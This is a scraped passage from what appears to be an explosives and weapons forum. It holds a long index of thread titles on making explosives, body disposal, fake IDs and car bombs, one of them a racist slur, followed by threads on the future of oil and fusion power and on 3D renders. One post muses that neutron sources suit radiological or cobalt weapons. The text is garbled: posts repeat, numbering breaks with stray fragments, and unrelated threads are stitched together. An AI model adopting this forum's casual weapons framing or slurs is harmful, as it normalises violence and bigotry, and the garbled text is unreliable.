731. n3ver 2 0ld 2 B k3wl- (3 replies)
732. Tetrahydrofuran in Oz. (2 replies)
733. A quick question for robin (or anyone else who might know) (0 replies)
734. Nitro accident (non-explosive) - HELP ! (8 replies)
735. Formaldehyde from Hexamine (1 replies)
736. Port of Texas, anyone? (1 replies)
737. Nitrazine (1 replies)
738. What's your favorite "man-church"/tool-store? (9 replies)
739. EOD in Iraq (2 replies)
740. Ready.gov parody (3 replies)
741. Acetone Peroxide Through Ozone (10 replies)
742. Development in Iraq (6 replies)
743. Chinese Alchemy ??? (9 replies)
744. Nick berg terrorist video (53 replies)
745. Body disposal (42 replies)
746. Gelled acetone/nc? (4 replies)
747. Summer is Fireworks Season (9 replies)
748. Good for nitration or not? (5 replies)
749. Look at this bullshit [plagerism alert] (26 replies)
750. Helo kills - Thermal Imaging view... (Graphic) (32 replies)

Log in
Pages : 1 2 3 [4] 5
751. DEA Agent Shot Himself - whoops (20 replies)

752. Good source of Mg? (8 replies)
753. Terrorists and AN restrictions (8 replies)
754. Secret Service taking Job to new levels (5 replies)
755. I see dead people (28 replies)
756. Nice "I Love Explosives" Decal (0 replies)
757. Anybody know how to edit djvu files? (5 replies)
758. Knives, the Real Steel. (19 replies)
759. Decent Piece of Iraqi Home-engineering (3 replies)
760. Slashdot: This Robot Collects Fingerprints (0 replies)
761. Police Foil Bank Robber's Scuba Getaway (14 replies)
762. Binary Cracker. (5 replies)
763. Entomopter: Exploration or Espionage of the Future? (2 replies)
764. Detonation Films (1 replies)
765. In search of opinions...APWAX? (15 replies)
766. Black book of arson by Lyle Whitney (4 replies)
767. How to increase your AP yield... (13 replies)
768. Ghost town (25 replies)
769. slaughterhouse (Question) (13 replies)
770. New Identity (3 replies)
771. Perhaps the dumbest thing ever with a 25 shot cake! (1 replies)
772. Are rockets legal in Australia? (4 replies)
773. 3.5 tonnes of stolen ammonium nitrate in Australia (6 replies)
774. Potash of Ammonium Nitrate (3 replies)
775. 660 kg of dynamite and 5000 detonators under your bed? (7 replies)
776. Metal additives in dynamites (6 replies)
777. A little close for comfort (18 replies)
778. Magnesium Extraction From Epsom Salts (8 replies)
779. Explosive Enthusiasts say the darndest things..... (19 replies)
780. Replicas and their sizes (6 replies)
781. Look out, it's more BS from Australia's tabloids (6 replies)
782. The Forum has been ATTACKED! (4 replies)
783. Improvised fridge (7 replies)
784. Booby traps (3 replies)
785. Hexachlorobenzene (7 replies)
786. Making the Ultimate Suit of Body Armor (6 replies)
787. aeroponics or aero-hydroponics (1 replies)
788. More Stable AP? No Way! (7 replies)
789. Microwave Concentration of Hydrogen Peroxide Lab (12 replies)
790. Do you get the subliminal message? (4 replies)
791. Giving up your DNA ? (3 replies)
792. Light in the water (8 replies)
793. testing KNO3 (9 replies)
794. a few quick issues (6 replies)
795. How would you... (2 replies)
796. Forum woes and impending doom. (17 replies)
797. E-Books... (5 replies)
798. power labs (1 replies)
799. PETN charges-amounts needed to do the job (7 replies)
800. Bionics - Robotic legs (0 replies)
801. Book request: Build your own fuel cells (6 replies)
802. Dmso=msm (2 replies)
803. Kewls and Cakes (3 replies)
804. Phone Sex (2 replies)
805. fall-out (of hair that is) (5 replies)
806. Annm +al (7 replies)
807. Historical K3\/\/ |_ ness (0 replies)
808. fistloads (9 replies)
809. Searching for a M72 66mm Law Rocket (8 replies)
810. AP used in bread making?? (7 replies)
811. A short guide to "tagging" (3 replies)
812. basic chem know-how ? (7 replies)
813. Oxygen on the Sun? (7 replies)
814. About Madrid's bombs (24 replies)
815. A request (1 replies)
816. EOD school pics (11 replies)
817. Physics experiment (9 replies)
818. My greetings, hello to the NeWb post. (7 replies)
819. Good news (5 replies)
820. Please help! How does this beautiful magic trick work? (1 replies)
821.
822.
819.
This is not820.
821. Does someones want to correspond with me ? (2 replies)
822. How to throw knifes ? (9 replies)
823. Plucking Video (6 replies)
824. An white smoke (0 replies)
825. Jackasses of the Month (7 replies)
826. Anatomy of a Firework (2 replies)
827. Financing your life (1 replies)
828. Pernitric acid (1 replies)
829. how bad is google being censored? (13 replies)
830. KNO3 -> KClO3 question (3 replies)
831. Dogs (2 replies)
832. basic/newbies gide to distilling nitric acid (5 replies)
833. Iron Titanium Oxide (4 replies)
834. Lego (12 replies)
835. Sodium/potassium chlorate preparation? (1 replies)
836. An/mnn/c (1 replies)
837. Train Explosion in Iran (1 replies)
838. Voluntary Human Extinction (6 replies)
839. Glycerin (1 replies)
840. Copper (II) Permanganate (2 replies)
841. Extracting Red Phosphorus (6 replies)
842. Kids party ideas (15 replies)
843. Aluminum Powder (KMnO4/Al/S Flash) (8 replies)
844. Huge Meth Lab Bust Video (5 replies)
845. Get them while you can... (0 replies)
846. Help Save The Second Amendment (1 replies)
847. Largest (20 replies)
848. Buying/Finding Glassware (7 replies)
849. basic fiream care qurestion (7 replies)
850. Piracy Raids In Australia (0 replies)
851. Brainwashing Manual (0 replies)
852. Has someone on the forum been up to no good? (4 replies)
853. One time encryption (4 replies)
854. Hamas, PLO and the tactics used (5 replies)
855. Can you help? (2 replies)
856. Massive EGDN yeilds? (3 replies)
857. So you think you're good at math? (16 replies)
858. Caveman Chemistry (1 replies)
859. GE Plant for landmine location (6 replies)
860. The copy of Call Of Duty that's on the FTP (14 replies)
861. "Helping" someone lose their job. (13 replies)
862. How to POST images. (7 replies)
863. Ballistic Sheeting (11 replies)
864. the dumbest question ever (4 replies)
865. non-conical/hemispherical SC's (1 replies)
866. acetic anhydride (8 replies)
867. source of dimethyl aniline (2 replies)
868. The ultimate SC (2 replies)
869. Possible performance enhances for Zn+S (3 replies)
870. What to do if you get hurt (1 replies)
871. The Post Office (11 replies)
872. samosa's Deep Thought (14 replies)
873. Digital Scales (9 replies)
874. car (borrowing) with t.v remote (2 replies)
875. South African Members (0 replies)
876. Street Lights = Grow Lights? (19 replies)
877. Diesel (22 replies)
878. NH4ClO4 Based eplosives ? (0 replies)
879. 2nd newbie kno3 question (13 replies)
880. Chlorine+Alcohol+12 year olds=hurt (10 replies)
881. Cant Find them.... (8 replies)
882. Nitro Acid HNO3 (10 replies)
883. CAD Program (21 replies)
884. ittle known facts of Napalm (9 replies)
885. Legality (18 replies)
886. Home made nuclear device (53 replies)
887. Nano Thermites! (12 replies)
888. Rogue Science (7 replies)
889. diphe/nilethane di/isocianato (6 replies)
890. petn by H2SO4 + AN (8 replies)
891. Interesting Videos (27 replies)
892. Converting .mov to any other format (2 replies)
893. Magic Lantern (2 replies)
894. First use of land mines? (1 replies)
895. Idiot of the month (28 replies)
896. Cruise Missle Man Arrested in NZ? (5 replies)
897. PARTAL detonation (7 replies)
898.
899.
896.
This is not897.
898. Apache Sniping (19 replies)
899. newbie kno3 question (2 replies)
900. Blast chamber (4 replies)
901. where to post about mailign stuff? (6 replies)
902. looking for italians members! (1 replies)
903. Myrol and nitroesters (1 replies)
904. Car Bomb detonated in Sydney (44 replies)
905. Nitric acid (4 replies)
906. Optimizing Black Powder for cannons, mortars, or pyrotechnics (14 replies)
907. My new computer! (24 replies)
908. Visco fuse (1 replies)
909. Oxygen (6 replies)
910. HELP-hopelessly stuck with AP (17 replies)
911. Two possible lead Azide replacements? (7 replies)
912. Einstein's Riddle (13 replies)
913. Where to get the components for Bp in england? (20 replies)
914. Your, Trigger/Motivation/Inspiration (20 replies)
915. Leaving all my loves behind (64 replies)
916. The surreal US security machine (20 replies)
917. Alcohol and Distilleries (3 replies)
918. The profecy is true (17 replies)
919. Looking for diagrams... (2 replies)
920. PGP Unsafe? (28 replies)
921. Aluminum Sulphate (0 replies)
922. Dog grabs firework video (9 replies)
923. The Sopranos (4 replies)
924. 11 year old in UK arrested over treehouse... (11 replies)
925. Ramjet Design Discussion (7 replies)
926. Storing Explosives....I know its stupid... (27 replies)
927. Can us n00bz still post? (5 replies)
928. Hackthissite.org (29 replies)
929. Military Ammo Case (12 replies)
930. What does RTPB mean? (3 replies)
931. The origin of the Grinch. (18 replies)
932. Whats everyone got planned for new years eve? (31 replies)
933. New ruger 10/22 (11 replies)
934. Det cord in the concrete (7 replies)
935. Kewls on tape! (52 replies)
936. HNO3 Synth using HCl (3 replies)
937. Underground Bunker made by myself (23 replies)
938. Someone help me out here, Zeolites... (4 replies)
939. Nigger manual (135 replies)
940. Isopropyl peroxide? (0 replies)
941. AP mass production (2 replies)
942. Aluminum+Pyrodex (10 replies)
943. Learning to Drive (20 replies)
944. What ever happened to FTP Disks (1 replies)
945. Urban Survival (16 replies)
946. giant fountain w/ whistle comp? (6 replies)
947. MSN Encryption Plugin (10 replies)
948. Indestructible eh? (48 replies)
949. test (10 replies)
950. RTPB's (25 replies)
951. Blow gun dart poison (20 replies)
952. Testing of unknown explosives (9 replies)
953. DIY Cruise Missile Grounded (31 replies)
954. Carbon Rods (5 replies)
955. Nitro paint-explosive? (13 replies)
956. cal hypo and sugar (4 replies)
957. Ammoniumperchlorate (9 replies)
958. The Scan Scam (25 replies)
959. How to calculate critical mass for fissionable materials? (11 replies)
960. Ammonium Dichromate (6 replies)
961. 6.00 for a lb of Citric Acid? (5 replies)
962. my god i remember ironwarlock (5 replies)
963. Google knows best? (8 replies)
964. hexamine dinitrate and nitromethane (1 replies)
965. Chem Software (3 replies)
966. Radio Match 2 (1 replies)
967. Sound in relation to depth of a charge of APAN (11 replies)
968. Permanganate Synthesis (13 replies)
969. Different coloured iron oxide? (2 replies)
970. Does anyone know whats happening to my account? (5 replies)
971. New UK Fireworks Laws (13 replies)
972. Michael Moore (37 replies)
973. SImple HV transformer for NItric acid production (6 replies)
974. Forum Customs (7 replies)
975.
976.
973.
This is not974.
975. about kingspaz (30 replies)
976. Persulfates (Peroxydisulfates) (14 replies)
977. Welcome member 5000! (10 replies)
978. multishot barrel loaded guns and mortors weapon (6 replies)
979. What explosive next? (10 replies)
980. any weapon plans for a .308 (6 replies)
981. Newbee (2 replies)
982. Take a look (22 replies)
983. Any Brits Here ? ( special request ) (3 replies)
984. EOD Career (15 replies)
985. "Useless thread" (9 replies)
986. what book (16 replies)
987. Commiserations to all the Aussies out there! (4 replies)
988. Using AP and AN (1 replies)
989. Mega's Story (15 replies)
990. 1st go at AP, gone well (4 replies)
991. Car bomb Crater sizes (Bali nuke?) (11 replies)
992. Creating a ftp community (10 replies)
993. Whats it to be sir? (35 replies)
994. Reliable improvised fuse - Howto (3 replies)
995. Wheel of Time #10 Crossroads of Twilight (3 replies)
996. jpeg encryption (5 replies)
997. Cardboard Tubes (4 replies)
998. Cost: low explosive vs high explosive (8 replies)
999. E&W Private network(Wireless) (14 replies)
1000. Protecting data? Physically hide it?! (25 replies)

Log in
Pages : 1 2 3 4 [5]
1001. [un]Offical Forum Flame Form (13 replies)

1002. Molotov related chemical (4 replies)
1003. War on information? (12 replies)
1004. Pharmacy drug index (3 replies)
1005. Howdy All New to Forum (3 replies)
1006. silver and coper (3 replies)
1007. PGP Disk- More than 1 password (7 replies)
1008. Shimizu's Fireworks, The Art, Science & Technique (4 replies)
1009. drugs (10 replies)
1010. Skin Windows! (13 replies)
1011. remote detonation (3 replies)
1012. Sexual Pyro Arousal (1 replies)
1013. PDF creation? (3 replies)
1014. Pyro laws in florida (0 replies)
1015. What has been your worst accident? (175 replies)
1016. organic synth via electronics (0 replies)
1017. HE explosions (6 replies)
1018. safety of P2P software (1 replies)
1019. Firecrackers (13 replies)
1020. Is it just me, or does Jackass suck? (33 replies)
1021. Halloween fun.... (20 replies)
1022. Imprinting keys... (1 replies)
1023. Hillmans site (4 replies)
1024. Pgp (11 replies)
1025. Small furry creatures ---> Red Mist (34 replies)
1026. Impurities and dyes in Drain H2SO4 (4 replies)
1027. Michael Ammar's "The Crazy Man's Handcuffs" (3 replies)
1028. H2SO4 Accident (4 replies)
1029. Getting shot with a spud gun and the human response (24 replies)
1030. My IP is banned? (14 replies)
1031. Making acetaldehyde or formaldehyde (9 replies)
1032. Safety issues (18 replies)
1033. private investigation (5 replies)
1034. Vote Arnold (funny) (0 replies)
1035. stolen bike (3 replies)
1036. Searching Tips (6 replies)
1037. shit distillation (3 replies)
1038. My precious EMC (5 replies)
1039. TAG and Potassium Nitrate (3 replies)
1040. Can't be just coinsedence.... (3 replies)
1041. More Airport Idiocies (4 replies)
1042. acid and base strength of alcohols (3 replies)
1043. solubility problem (1 replies)
1044. How did you come up with your forum name? (113 replies)
1045. Drop Pops (3 replies)
1046. stuck stoppers (6 replies)
1047. two questions (1 replies)
1048. how I got REAL detos cases (6 replies)
1049. A new gun (14 replies)
1050. CrO3 Ideas? (4 replies)
1051. Detonating Chlorates (7 replies)
1052. RDX by acetic and para (11 replies)
1053. hypobromites (8 replies)
1054. Mr-Eckted is back (1 replies)
1055. copper ammonium complex? (2 replies)
1056. Does It Really Matter? (9 replies)
1057. Creating a FTP server (1 replies)
1058. Snow Machine (6 replies)
1059. AP newbie questions (9 replies)
1060. Where do you want to go from here? (11 replies)
1061. Modified Haber Process (3 replies)
1062. Vestas (strike anywhere matches) (4 replies)
1063. Basketball Bomb (2 replies)
1064. glossary? (3 replies)
1065. anyone have VB6 professional edition or better (16 replies)
1066. Nukes....good or bad..? (16 replies)
1067. Looking for Windows 3.1 (8 replies)
1068. H2SO4 Question (2 replies)
1069. Fruit of Death? (5 replies)
1070. Phosphoric Acid (4 replies)
1071.
1072.
1069.
1070.
1071. Brits: Looking for a job? (2 replies)
1072. milk white NG (3 replies)
1073. Last call forumites (3 replies)
1074. A few questions regarding PGP (2 replies)
1075. German demo group "Farbrausch" kicks ass ! (3 replies)
1076. Greatest Disappointments (6 replies)
1077. forum file sharing (10 replies)
1078. Your Forum member number (6 replies)
1079. The Great Google Hunt (35 replies)
1080. Question on Forum History (RTC) (9 replies)
1081. smuggling help (24 replies)
1082. Sulfuric Acid Absolute Gravity (8 replies)
1083. Help please (5 replies)
1084. An (3 replies)
1085. I need some feedback (9 replies)
1086. It's not good to brag but... (16 replies)
1087. Federal Agents,We Have a Warrant,Open Up! (73 replies)
1088. Disk drive nightmare (7 replies)
1089. well well well :D (3 replies)
1090. Exploding Jawbreaker (3 replies)
1091. New World Order (27 replies)
1092. Activ Ebook security - help needed (7 replies)
1093. metallica extra UK date (0 replies)
1094. I need some help here (3 replies)
1095. Would a safe be safe? (5 replies)
1096. would it be possible to break the roots of my garden cherry tree with blackpowder? (17 replies)
1097. Message for NBK (2 replies)
1098. Sodium Chlorate paper propellant (11 replies)
1099. Looking for powerpoint (3 replies)
1100. Anti or Pro-capitalist? (54 replies)
1101. poor chickens (37 replies)
1102. AstroWars (73 replies)
1103. Optimising A TNP Detonation (2 replies)
1104. VCR to DVD (17 replies)
1105. Adobe acrobat help (1 replies)
1106. Some hunting pictures of mine. (10 replies)
1107. My computer woes - any advice? (30 replies)
1108. Australian 7:30 report (abc TV) (36 replies)
1109. Female Members? (69 replies)
1110. Palestinian P2P service flouts system (18 replies)
1111. Hot wiring cars/burglary & PETTY Crimes (15 replies)
1112. americas army shareware !!!!!!! (6 replies)
1113. Fire starters (not magnesium based) (9 replies)
1114. New York Blackout (18 replies)
1115. A Wild Idea for Tactical Insertions... (22 replies)
1116. Microsoft - They're watching you (52 replies)
1117. Military explosive with insitu formed detonator (11 replies)
1118. Cheerio guys (1 replies)
1119. SC and LSC brisants and VOD (5 replies)
1120. Forum meeting (42 replies)
1121. Exploding Ink Tab (5 replies)
1122. Some Pics of Spies and their Weapons and Tools (31 replies)
1123. Test your pearl swag skills! :) (22 replies)
1124. Films and songs... (66 replies)
1125. Visco Fuse & Whiny Jews (32 replies)
1126. useful for distiling nitric (2 replies)
1127. precursors molecular images for megalomania's site (5 replies)
1128. My website (36 replies)
1129. Benzene Diazonium Chloride (2 replies)
1130. Thermite using only Aluminum Oxide (6 replies)
1131. Mgo to Mg? (12 replies)
1132. Exploding Micro Balls? (7 replies)
1133. Detonateing KMNO4 (8 replies)
1134. ead monoxide (7 replies)
1135. Adobe Acrobat pro 6 now available, sort of (11 replies)
1136. NG questions (15 replies)
1137. Armor Piercing Pennies and Infinite Mirrors (41 replies)
1138. NBK2000's Book Unavailable (18 replies)
1139. Asbestos replacement ? (6 replies)
1140. A review of the crapbooks. (0 replies)
1141. Trinitro N Nitranilino Ethanol Nitrate (Pentryl) (7 replies)
1142. Esane and dicloropropane (1 replies)
1143. Fourm Video (65 replies)
1144. Industrial use of KP (0 replies)
1145. NaNO2? (1 replies)
1146. Urban Exploration (5 replies)
1147. Working with low BP chems (7 replies)
1148.
1149.
1146.
1147.
1148. UK Asylum problem (simplified) (1 replies)
1149. Preparation of Ammonium nitrate (10 replies)
1150. Dinitramides...? (6 replies)
1151. Lockdown! Article (6 replies)
1152. H2O2 route? (2 replies)
1153. Cl2 gas. (10 replies)
1154. Why the world needs the anarchists cookbook (23 replies)
1155. DNP(dinitrophenol) (3 replies)
1156. Legality of casting molds for full auto receivers (11 replies)
1157. Largest Detonation (14 replies)
1158. critical pressure (5 replies)
1159. AP vs. HMTD - Which is the most sensitive? (9 replies)
1160. Taking AP Chems Through Customs? (27 replies)
1161. Jokes (179 replies)
1162. Flameless Smoke Generators (7 replies)
1163. things to do with AP (and other explosives) (8 replies)
1164. hydrogen peroxide concentration (13 replies)
1165. Military Grade Napalm (11 replies)
1166. Acetylene lighter then air? (9 replies)
1167. Chlotate+AP (4 replies)
1168. The Library (3 replies)
1169. APAN/puddy (6 replies)
1170. small solenoids (5 replies)
1171. Distilling Ethanol (9 replies)
1172. Melted AP Detonators (3 replies)
1173. nitrated petroleum (9 replies)
1174. How is the "Book Club" idea coming along? (3 replies)
1175. Whata is the Status of NBK's PDF (8 replies)
1176. You asked for it, here it is! (7 replies)
1177. The letters M and O (41 replies)
1178. Fake ID's (145 replies)

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The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Future of oil
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Davo June 25th, 2005, 12:44 PM

Ok so on the 25th June (I think) oil prices hit $60 US per barrel. Not exactly a pyro-related question but definately a science-related one. Where do forum members think
energy use will be in a few years time? How much longer before a peak in oil production? What alternatives are there for automotive transport?
I've read about a chemical process for converting coal into hydrocarbons, known as the fischer-tropsch process. I think it was developed by the Germans during the second
world war and also currently used by South Africa. I know Australia has plenty of coal, natural gas, and uranium, but our entire transport system is dependent on oil - about the
only resource we don't have much of.
Would it be possible under current economics to convert coal into hydrocarbons using the fischer-tropsch process (http://en.wikipedia.org/wiki/Fischer-Tropsch_process) ? If
not, how come South Africa is using it. If it is, why the hell isn't Australia doing it?
We also have plenty of nuclear material, ideal for producing massive amounts of energy for cracking water into hydrogen and oxygen. The hydrogen could then be used in fuel
cells, currently much more efficient than an internal combustion engine. The main obstacle to this technology is nothing to do with resource limitations, environmental factors or
economics, but loony anti-nuke activists. Nuclear technology could also considerably cut greenhouse emissions and provide desalinated water to much of our drought-crippled
land
Where do other forum members think the future of energy would be heading, in particular, energy for transport?
+++++++
UTFSE to find a thread about 'Peak Oil' and you'll find the answers to your questions.
NBK
Davo June 25th, 2005, 12:44 PM

Ok so on the 25th June (I think) oil prices hit $60 US per barrel. Not exactly a pyro-related question but definately a science-related one. Where do forum members think
energy use will be in a few years time? How much longer before a peak in oil production? What alternatives are there for automotive transport?
I've read about a chemical process for converting coal into hydrocarbons, known as the fischer-tropsch process. I think it was developed by the Germans during the second
world war and also currently used by South Africa. I know Australia has plenty of coal, natural gas, and uranium, but our entire transport system is dependent on oil - about the
only resource we don't have much of.
Would it be possible under current economics to convert coal into hydrocarbons using the fischer-tropsch process (http://en.wikipedia.org/wiki/Fischer-Tropsch_process) ? If
not, how come South Africa is using it. If it is, why the hell isn't Australia doing it?
We also have plenty of nuclear material, ideal for producing massive amounts of energy for cracking water into hydrogen and oxygen. The hydrogen could then be used in fuel
cells, currently much more efficient than an internal combustion engine. The main obstacle to this technology is nothing to do with resource limitations, environmental factors or
economics, but loony anti-nuke activists. Nuclear technology could also considerably cut greenhouse emissions and provide desalinated water to much of our drought-crippled
land
Where do other forum members think the future of energy would be heading, in particular, energy for transport?
+++++++
UTFSE to find a thread about 'Peak Oil' and you'll find the answers to your questions.
NBK
meselfs June 27th, 2005, 06:47 PM

Welcome to E & W!
I think, or at least hope, that fusion will be our source of energy. If a decent low maintenance power plant based on fusion is made there will be *no* more energy problem.
Just think... it effectively runs on water and it's exhaust is helium, a useful, expensive gas. You can use fusion to electrolyze water en masse, piping the hydrogen all over as
fuel.
Yes sir, I have no faith in solar, wind, or coal (but I do have faith in hydro; it's just not available everywhere). Nothing beats near free energy, and to our human knowledge
only fusion will do.
I'm talking "hot" fusion, btw. As of today the otehr kind still fails to exist...
So, if you ask me, there should be much emphasis on material science, and there's a surprisingly small number of materials engineers; cuz as far as I know the main roadblock
is coming up with a chamber that can contain the fusing mix. They say they can suspend the mix, but nobody's done that, so there must be a flaw.

Welcome to E & W!
I think, or at least hope, that fusion will be our source of energy. If a decent low maintenance power plant based on fusion is made there will be *no* more energy problem.
Just think... it effectively runs on water and it's exhaust is helium, a useful, expensive gas. You can use fusion to electrolyze water en masse, piping the hydrogen all over as
fuel.
Yes sir, I have no faith in solar, wind, or coal (but I do have faith in hydro; it's just not available everywhere). Nothing beats near free energy, and to our human knowledge
only fusion will do.
I'm talking "hot" fusion, btw. As of today the otehr kind still fails to exist...
So, if you ask me, there should be much emphasis on material science, and there's a surprisingly small number of materials engineers; cuz as far as I know the main roadblock
is coming up with a chamber that can contain the fusing mix. They say they can suspend the mix, but nobody's done that, so there must be a flaw.
megalomania June 28th, 2005, 01:02 AM

Actually, meselfs, just a few months ago researchers successfully demonstrated a bench top cold fusion reactor at a repuptable research institution in a university. The details
were just published in either Science or Nature. Don't get your hopes up, the device produces only very minute amounts of neutrons, and is not suitable for power generation
since it consumes far more than it puts out. The announcement was made without fanfare since the scientists that created the device did not want a repeat of the last cold
fusion announcement. For them it is just a physics curoisity to generate neutrons. The equipment is not really sophisticated, and other scientists have been able to replicate the
results.
Search for Brian Naranjo, Jim Gimzewski, and Seth Putterman for more info.
http://msnbc.msn.com/id/7654627/
http://www.physorg.com/news3938.html
Ahh, here is the article:

The Journal Nature, April 28, 2005 "Observation of Nuclear Fusion Driven by a Pyroelectric Crystal"
megalomania June 28th, 2005, 01:02 AM

Actually, meselfs, just a few months ago researchers successfully demonstrated a bench top cold fusion reactor at a repuptable research institution in a university. The details
were just published in either Science or Nature. Don't get your hopes up, the device produces only very minute amounts of neutrons, and is not suitable for power generation
since it consumes far more than it puts out. The announcement was made without fanfare since the scientists that created the device did not want a repeat of the last cold
fusion announcement. For them it is just a physics curoisity to generate neutrons. The equipment is not really sophisticated, and other scientists have been able to replicate the
results.
Search for Brian Naranjo, Jim Gimzewski, and Seth Putterman for more info.
http://msnbc.msn.com/id/7654627/
http://www.physorg.com/news3938.html
Ahh, here is the article:

The Journal Nature, April 28, 2005 "Observation of Nuclear Fusion Driven by a Pyroelectric Crystal"
meselfs June 28th, 2005, 01:26 AM

Well, cold or hot, I think that fusion is the future :->
Nice info, Mega.

Well, cold or hot, I think that fusion is the future :->
Nice info, Mega.
kingspaz June 28th, 2005, 12:33 PM

http://www.newscientist.com/article.ns?id=dn7573
kingspaz June 28th, 2005, 12:33 PM

http://www.newscientist.com/article.ns?id=dn7573
nbk2000 July 1st, 2005, 02:13 PM

A non-nuclear means of generating neutrons would have some E&W applications, I'm sure. Perhaps an irradiator?
nbk2000 July 1st, 2005, 02:13 PM

Marvin July 2nd, 2005, 04:09 AM

The pyroelectric crystal system isnt cold fusion. It uses a high voltage on a needle in a neer vacuum as a source of high energy deuterons which are fired at a deuterium loaded
target. Generating the high voltage needed to accelerate deuterons from a pyroelectric crystal was a neat idea and the experimental procedure is of a very high quality, but its
the same fusion mechanism thats been known and used for a century now. Its good science, better showmanship but the same basic nuclear physics.

The pyroelectric crystal system isnt cold fusion. It uses a high voltage on a needle in a neer vacuum as a source of high energy deuterons which are fired at a deuterium loaded
target. Generating the high voltage needed to accelerate deuterons from a pyroelectric crystal was a neat idea and the experimental procedure is of a very high quality, but its
the same fusion mechanism thats been known and used for a century now. Its good science, better showmanship but the same basic nuclear physics.
Davo July 2nd, 2005, 04:23 AM

As a way of converting "fertile" elements such as Th-232 or U-238 into fissile elements perhaps? Bombarding Beryllium with alpha particles also yields neutrons, but only a
small amount from memory (remember the David Hahn, the nuclear boy scout thread). A way of generating a large quantity of neutrons would be ideal for a radiological
weapon of some description, like an enhanced radiation weapon (neutron or cobalt bombs). Also it may increase the possibility of an induvidual
Back to energy, I think fusion power is still a long way off, at least 20 years. ITER hasn't even begun construction and may take many years to build. Even then we're not sure
it will work, let alone yield net energy production, and then produce a constant supply of energy. In the more immediate term, oil and gas are going to become prohibitively
expensive, and people will become more concerned about global climate change. Of course we'll get the whining hippies saying we should make use of renewables, use less
energy, carpool with other people etc, but in reality energy demand will skyrocket and that certainly isn't viable.
Probably we'll see more people convert to LPG or natural gas for cars first. Coal-rich/hippie-free countries may use coal gasification technology and the fischer-tropsch process
to produce synthetic petroleum products once the oil price gets high enough. I'm not sure how much this costs but i've heard many conflicting reports, some saying it should be
viable when oil hit $30 a barrel (obviously false) up to $200 per barrel. I'm guessing probably around $100 per barrel, depending on the cost of coal, and how many hippies are
around to enfoce environmental regulations. In addition, many governments are starting to add ethanol to fuel. I'm not sure about the cost (or performance) of ethanol but it
must be cheaper than petrol, but probably more than natural gas
in the mid-term (10-15 years) we'lll have hydrogen fuel cells entering the market. The hydrogen will most likely come from natural gas at present, but when that becomes
expensive, it will most likely come from a nuclear plant, either fission or fusion, depending on the technology available
In the meantime, we will probably see a boom in nuclear fission plants around the world, as nations realize they cannot meet their Kyoto protocol targets without greater use of
nuclear fission, at least until fusion becomes viable.
Mega I've been unable to open those pdf files you posted, saying I do not have permission to access them?
Davo July 2nd, 2005, 04:23 AM

As a way of converting "fertile" elements such as Th-232 or U-238 into fissile elements perhaps? Bombarding Beryllium with alpha particles also yields neutrons, but only a
small amount from memory (remember the David Hahn, the nuclear boy scout thread). A way of generating a large quantity of neutrons would be ideal for a radiological
weapon of some description, like an enhanced radiation weapon (neutron or cobalt bombs). Also it may increase the possibility of an induvidual
Back to energy, I think fusion power is still a long way off, at least 20 years. ITER hasn't even begun construction and may take many years to build. Even then we're not sure
it will work, let alone yield net energy production, and then produce a constant supply of energy. In the more immediate term, oil and gas are going to become prohibitively
expensive, and people will become more concerned about global climate change. Of course we'll get the whining hippies saying we should make use of renewables, use less
energy, carpool with other people etc, but in reality energy demand will skyrocket and that certainly isn't viable.
Probably we'll see more people convert to LPG or natural gas for cars first. Coal-rich/hippie-free countries may use coal gasification technology and the fischer-tropsch process
to produce synthetic petroleum products once the oil price gets high enough. I'm not sure how much this costs but i've heard many conflicting reports, some saying it should be
viable when oil hit $30 a barrel (obviously false) up to $200 per barrel. I'm guessing probably around $100 per barrel, depending on the cost of coal, and how many hippies are
around to enfoce environmental regulations. In addition, many governments are starting to add ethanol to fuel. I'm not sure about the cost (or performance) of ethanol but it
must be cheaper than petrol, but probably more than natural gas
in the mid-term (10-15 years) we'lll have hydrogen fuel cells entering the market. The hydrogen will most likely come from natural gas at present, but when that becomes
expensive, it will most likely come from a nuclear plant, either fission or fusion, depending on the technology available
In the meantime, we will probably see a boom in nuclear fission plants around the world, as nations realize they cannot meet their Kyoto protocol targets without greater use of
nuclear fission, at least until fusion becomes viable.
Mega I've been unable to open those pdf files you posted, saying I do not have permission to access them?
another_number July 9th, 2005, 10:42 AM

this site has about everything you need to know about the oil crash
http://www.lifeaftertheoilcrash.net/Index.html
unfortunatly coal production has peaked, hydrogen takes more engery to make than it gives (or relies on crude oil), nuclear wouldn't be enough because we don't have enough
nuclear plants to cover our growing energy need and we'd eventually run out of uranium aswell. cold fusion still doesn't exist and to implement enough renewable sources it
would take lots of energy (oil & $$) so it looks like we're going to go back in time 200 years, and lots of death
another_number July 9th, 2005, 10:42 AM

this site has about everything you need to know about the oil crash
http://www.lifeaftertheoilcrash.net/Index.html
unfortunatly coal production has peaked, hydrogen takes more engery to make than it gives (or relies on crude oil), nuclear wouldn't be enough because we don't have enough
nuclear plants to cover our growing energy need and we'd eventually run out of uranium aswell. cold fusion still doesn't exist and to implement enough renewable sources it
would take lots of energy (oil & $$) so it looks like we're going to go back in time 200 years, and lots of death

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Products for Engineers & The Fellow Who Lives in my Corner
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View Full Version : Products for Engineers & The Fellow Who Lives in my Corner

Some graphics I've decided to gloat about, tell me what you think. I finished these early June.
First 4 images, then a 9 mb video.
http://web.pdx.edu/~bsemerj/Graphics/MEHorror.jpg
http://web.pdx.edu/~bsemerj/Graphics/CryoLiquid.jpg
http://web.pdx.edu/~bsemerj/Graphics/CEMystery.jpg
http://web.pdx.edu/~bsemerj/Graphics/MfgCereal.jpg
The Fellow Who Lives in my Corner (http://web.pdx.edu/~bsemerj/Graphics/CornerMan.mpg)

Some graphics I've decided to gloat about, tell me what you think. I finished these early June.
First 4 images, then a 9 mb video.
http://web.pdx.edu/~bsemerj/Graphics/MEHorror.jpg
http://web.pdx.edu/~bsemerj/Graphics/CryoLiquid.jpg
http://web.pdx.edu/~bsemerj/Graphics/CEMystery.jpg
http://web.pdx.edu/~bsemerj/Graphics/MfgCereal.jpg
The Fellow Who Lives in my Corner (http://web.pdx.edu/~bsemerj/Graphics/CornerMan.mpg)
Jacks Complete June 25th, 2005, 08:47 PM

Nice models!
Your movie killed my browser though, not sure why, probably a bug in Quicktime... The start looked good.

Nice models!
tom haggen June 25th, 2005, 11:20 PM

Are those solidworks drawings?
tom haggen June 25th, 2005, 11:20 PM


It's an omen. If you're really in the Disunited Kingdom, you shouldn't be awake when you posted.
No, they're done in Cinema 4d: http://www.maxon.net

And 3 of the stills done with Maxwell: http://www.maxwellrender.com
